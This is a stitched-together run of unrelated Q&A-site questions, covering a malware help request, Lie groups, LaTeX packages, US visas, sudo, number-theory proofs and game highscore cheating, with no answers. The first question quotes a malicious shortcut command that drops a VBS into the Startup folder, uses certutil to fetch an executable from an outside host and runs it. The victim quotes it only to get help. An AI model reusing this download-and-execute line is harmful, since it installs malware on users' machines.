I received a link file masquerading as a text file. By mistake I had clicked that and suddenly a command prompt opened. Surprised at the unexpected behavior I closed that window. Upon inspecting the file, it had .lnk extension. While normal .lnk file has few byte size, this one was few hundred MB.  Inspecting the details of the .lnk file, it had in the target field the following command  %ComSpec% /c echo CreateObject("Wscript.Shell").Run"""%ComSpec%"" /c del ""%USERNAME%.vbs""&amp;certutil -urlcache -f https://coid.xyz/?di1708e9xmgN9OFQ=amusers_%PROCESSOR_ARCHITECTURE% ""%USERNAME%.exe""&amp;&amp;""%USERNAME%.exe""",0 &gt;"%USERNAME%.vbs"&amp;"%USERNAME%.vbs"   While the start in field had  "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"   Need some help in understanding what does this code fragment do, and if possible how to check if anything bad has happened and how to undo the changes.  Windows 8 system, if any way relevant. Let me know if any other information is needed.
What should I do if my Windows computer seems to be infected with a virus or malware?  What are the symptoms of an infection? What should I do after noticing an infection? What can I do to get rid of it? how to prevent from infection by malware?   This question comes up frequently, and the suggested solutions are usually the same. This community wiki is an attempt to serve as the definitive, most comprehensive answer possible. Feel free to add your contributions via edits.
Question statement is as in the title:     $\varphi:G\to H$ is a Lie Group Homomorphism, then $\ker \varphi$ has Lie algebra $\ker D_e \varphi$   Since $\varphi$ is a Lie group homomorphism, in particular it is continuous. As $H$ must be Hausdorff, every point set is closed, and hence $\{e\}$ is closed in $H$, which implies that $\ker\varphi = \varphi^{-1}(e)$ is closed as well.  So $N=\ker\varphi$ is an embedded Lie subgroup of $G$. Therefore, the inclusion $j:N\to G$ is a Lie Group homomorphism, and induces a Lie algebra homomorphism $D_e j :T_e N \to T_e G$. So I only need to show that $D_e j$ is in fact an isomorphism between $T_e N$ and $\ker D_e \varphi$.  But I'm stuck at this point. I know that for $X\in T_e N$, we have, for $f\in C^{\infty}(H)$,  $$ D_e\varphi (D_e j(X))(f)=D_e j (X)(f\circ \varphi)=X(f\circ \varphi\circ j)=0$$  So $D_ej(T_e N) \subset \ker D_e \varphi$.  At this point, I can either show inverse inclusion: that is, for every $X\in \ker D_e \varphi$, we can find $Y\in T_e N$ such that $D_e j (Y)=X$, or for all $f\in C^{\infty}(G)$, $Y(f\circ j)=X(f)$  Or I can somehow show that dimensions of the two spaces are the same.   But I can't proceed from here.  It'd be great if someone could help me Using media queries in Lightning component What packages do you use and recommend for creating graphics in your LaTeX documents?     As this is a community wiki post, please add your package to the accepted answer (or add a comment, and someone with >100 rep will add it to the CW answer), and include a brief description of what differentiates it from others and how it can be used (GUI drawing tool which generates code, type in raw text, or generates image for inclusion in document).   We'll eventually sort these answers under headings. Tourist to F1 change of status within 60 days I have a PhD place at a US university starting Aug 21 but want to visit a different university for casual research for 6 weeks from July 1. This is longer than the 30 day grace period for the F1. Can I arrive on the visa waiver program or tourist visa in July and then just stay on for the PhD? I guess I might need to change status. Will this work?  Please don’t suggest exiting and reentering, that’s too expensive.  (British masters student in UK) su vs sudo -s vs sudo -i vs sudo bash What is the difference between the following commands:  su sudo -s sudo -i sudo bash   I know for su I need to know the root password, and for sudo I have to be in the sudoers file, but once executed what is difference?  I know there is a difference between su and sudo -s because my home directory is /root after I execute su, but my home directory is still /home/myname after sudo -s. But I suspect this is just a symptom of an underlying difference that I'm missing. Unable to log in to Stack Exchange How to add readable text to a light and dark image? I'm trying to add text to a photo of a city but the colors in the background make it difficult to read light and dark text. I've tried several light and dark colors but they all looked overpowered by the colors in the image. What colors could I use or what can I do to the text to make it show but also make it so you can still see the background?  Here is the image I'm trying to use: Should I change the URLs in the XML sitemap after 301 redirecting them? I am using 301 redirects for all URLs.  Should I change sitemap URLs now?  The sitemap currently contains the following URLs:   example.com/cat/1.html example.com/cat/2.html example.com/cat/3.html   Should I change the sitemap's URLs to a new destination?   example.com/cat/year/1.html example.com/cat/year/2.html example.com/cat/year/3.html Each package name is in the form: package-XubuntuY*_amd64(i386)  So my questions are:   What does the X stand for? What does the Y stand for?   for example binutils_2.22-6ubuntu1.3_amd64  What is the meaning of the numbers 6 and 1.3 How to know that your machine learning problem is hopeless? Imagine a standard machine-learning scenario:     You are confronted with a large multivariate dataset and you have a   pretty blurry understanding of it. What you need to do is to make   predictions about some variable based on what you have. As usual, you   clean the data, look at descriptive statistics, run some models,   cross-validate them etc., but after several attempts, going back and   forth and trying multiple models nothing seems to work and your   results are miserable. You can spend hours, days, or weeks on such a   problem...   The question is: when to stop? How do you know that your data actually is hopeless and all the fancy models wouldn't do you any more good than predicting the average outcome for all cases or some other trivial solution?  Of course, this is a forecastability issue, but as far as I know, it is hard to assess forecastability for multivariate data before trying something on it. Or am I wrong?   Disclaimer: this question was inspired by this one  that did not attract much attention. It would be nice to have detailed answer to such question for reference. I have what seems to me a very simple proof that $A_{n}$ is the only subgroup of $S_{n}$ of index 2.  Since I've seen other people prove it with what feel like really complicated methods (), I'm wondering if I've overlooked something.  Proof: Let $H$ be any subgroup of index 2 in $S_{n}$.  Then $H\cap A_{n}$ is a normal subgroup of $A_{n}$ and since $A_{n}$ is simple, $H$ is either the trivial or the improper subgroup of $A_{n}$.  If it's the trivial subgroup it doesn't have index 2 in $S_{n}$, and otherwise the theorem is proved. I'm reading the proof of the multiplicative property of $$s_k(n)=\sum_{d|(n,k)}f(d)g\bigg( \frac kd\bigg)$$ The book wrote that in order to understand the proof, we need to know if $a,b,k,m$ are integers such that $(a,k)=(b,m)=1$, then $$(ab,km)=(a,m)(b,k).$$  I have written proof, but I don't know is it consistent, and this seems used more tools than it necessarily has to.   My proof: Let $$S_1=\{d: d|(a,m), d&gt;0\}\\S_2=\{d: d|(b,k), d&gt;0\}\\S=\{d:d|(ab,km), d&gt;0\}.$$ I will prove the statement by showing that the function $\phi:S_1\times S_2\to S$ defined as $$\phi(d_1,d_2)=d_1d_2$$ is bijective, and complete the proof by connecting the maximal elements from these partial ordering sets.  Obviously, for $d_1\in S_1, d_2\in S_2$, this tells us $d_1 $ is both divisor of $a$ and $m$, and $d_2$ is both divisor of $b$ and $k$, hence $d_1d_2$ is both divisor of $ab$ and $km$, so we can tell $\phi(S_1\times S_2)\subseteq S$.  To show one-to-one, if we have $c_1,d_1\in S_1$ and $c_2,d_2\in S_2$ such that $$\phi(c_1,c_2)=\phi(d_1,d_2)$$ then $$c_1c_2=d_1d_2$$  In particular, $c_1|d_1d_2$, we need to show $c_1|d_1$. Indeed, if $(c_1,d_2)&gt;1$, this implies $a,k$ have common factor larger than $1$, contradicts the assumption. Therefore $c_1|d_1$. A similar argument implies $d_1|c_1$, therefore $c_1=d_1$. Again a similar argument implies $c_2=d_2$, which shows one-to-one.   To show onto, let $d\in S$, since $d|ab$, we can split $d$ into $d_1d_2$ such that $d_1|a$ and $d_2|b$. Since $(a,k)=1$, we see $(d_1,k)=1$, by property of $S$ we see also $d_1|m$, therefore $d_1\in S_1$, a similar argument implies $d_2\in S_2$. So every number in $S$ has a preimage in $S_1\times S_2$  This completes the proof. Is there any mistake in the proof?     Edit: A proof about the statement: If $d|ab$ then there are $d_1,d_2$ such that $d=d_1d_2$ and $d_1|a, d_2|b$.  Let $ab=p_1^{e_1}\cdots p_r^{e_r}$ for distinct prime factors $p_1,\cdots,p_r$, then we can write $$a=p_1^{x_1}\cdots p_r^{x_r}\\b=p_1^{y_1}\cdots p_r^{y_r}$$ where some of $x_i, y_i$ can be zero, and $x_i+y_i=e_i$ for all $i=1,\cdots,r$.  Since $d|ab$, we can write $$d=p_1^{f_1}\cdots p_r^{f_r}$$ with $f_i\leq e_i$ for all $i=1,\cdots,r$. Then since $$f_i\leq x_i+y_i$$ Split into two cases:   Case 1: $f_i&gt; x_i$, then we can choose $g_i=x_i$ and $h_i=f_i-x_i$.  Case 2: $f_i\leq x_i$, then we can choose $g_i=f_i$ and $h_i=0$.  Then the choice $$d_1=\prod_{i=1}^r p_i^{g_i}, \quad d_2=\prod_{i=1}^r p_i^{h_i}$$ will prove the statement. Solving functional equation $f(x+y)+f(x-y)=2f(x)\cos y$? How can I solve this functional equation, where $x,y$ are any real numbers and $f:\mathbb{R}\to \mathbb R$ is a function such that : $$f(x+y)+f(x-y)=2f(x)\cos y$$    I tried substituting $x=0$ to get $f(y)+f(-y)=2f(0)\cos y$ . Taking $x=y$ gives $f(2x)+f(0)=2f(x)\cos x$. I similar get some more relations like that, but its not really helping me in finding anything useful. I also think the function must either be $\sin$ or $\cos$ looking at the product to sum formulae. Can anyone tell me how should I solve this? How can I prevent false score reports to global highscore tables? Browser and mobile games commonly have global highscore tables. It's also common for those tables to contain scores of 2,147,483,647 &mdash; where people have figured out the webservice call that reports scores and used it to record a fictitious score.  For simple puzzle games, we can defend against this by including a record of every move the player made (and any random seeds used to generate the level) with the score-reporting call. The entire game can then be reproduced and verified on the server.  However, this quickly becomes infeasible for anything larger than Pac-man.  How else can cheating of this kind be prevented? How can I handle the warning of file_get_contents() function in PHP? Two  have been announced in LoL.  They have an ability that makes them be able to recall together.                                  What are the limits to this ability? Can the 'non-recaller' jump in at the last second and get some kind of instant recall?  Can somebody with the setup to get on PBE test it and tell us what are the limitations of this ability? How long can you say "the late so and so"? When you refer to the deceased, you say "the late so and so." How long can you say that? Is JFK referred to as the late John F. Kennedy? How about Abraham Lincoln? Frequently loaded packages: Differences between pdfLaTeX and XeLaTeX Until now, I have been compiling my LaTeX documents with pdfLaTeX. My standard document preamble includes the "usual suspects" for non-English speakers (, , ) and a bunch of other packages. Assuming I were to convert to XeLaTeX, what modifications of my preamble are advisable? I'm aware that the expansion=true option of the  package is not (yet) available for XeLaTeX, and that  is sort of a default package for OpenType fonts. What other packages (and package options) should be removed and, vice versa, incorporated when switching from pdfLaTeX to XeLaTeX? What's this I hear about First Edition Unix being restored? that the source code of First Edition Unix had been restored from tapes.  The response was amazement and a request for more information.  What have people done?  Who did it?  When?  And how? I have a string User name (sales) and I want to extract the text between the brackets, how would I do this?   I suspect sub-string but I can't work out how to read until the closing bracket, the length of text will vary.